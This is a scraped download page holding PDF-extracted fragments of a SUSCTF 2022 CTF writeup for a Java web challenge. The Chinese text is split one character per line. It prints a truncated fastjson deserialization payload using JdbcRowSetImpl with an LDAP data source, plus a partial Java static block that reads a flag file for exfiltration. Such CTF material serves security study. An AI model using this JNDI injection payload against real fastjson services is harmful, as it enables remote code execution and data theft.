Dest0g3-Java部分1
需积分: 0 166 浏览量
2022-08-03
11:27:36
上传
评论
收藏 638KB PDF 举报
2022/3/2 下午3:28
SUSCTF 2022 Writeup by Dest0g3 Team
https://mp.weixin.qq.com/s/LXQb_fUW0-3By8xibke-EA
1/49
S
U
SCTF
2022
W
r
i
t
e
up
b
y
D
e
st
0
g
3
T
ea
m
太
⾚
鸡
了
Web
baby gadget v1.0
环
境奇
怪
1.2.24
的
poc
都
可
以
打
。。。
最
开
始
还
把
这
个
题
想
复
杂
了
，
以为
是
tomcat
搭
建
el
表
达
式
直
接
绕
过
。
但
是
想
⼀
想
xctf
⽐
赛
应
该
不
会
是
简
单
的
el
绕
过
。
所
以
拿
出
⾃
⼰
的
0day
去
打
反
序
列化
绕
过
。
之
后
执
⾏
命
令
失
败
就
应
该
是
设
置
了
sm
，
所
以
去
读
⼀下
⽂
件
就
欧
克
了
。
然
后
直
接
带
出
来
就
欧
克
了
。
1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0
1
2
3
4
5
6
7
static {
String flag ="";
try {
BufferedReader in = new BufferedReader(new FileReader("/flag
flag = in.readLine();;
} catch (FileNotFoundException e) {
e.printStackTrace();
2022-03-01
15:26
原
创
D
e
st
0
g
3
D
e
st
0
g
3
T
ea
m
评论0
最新资源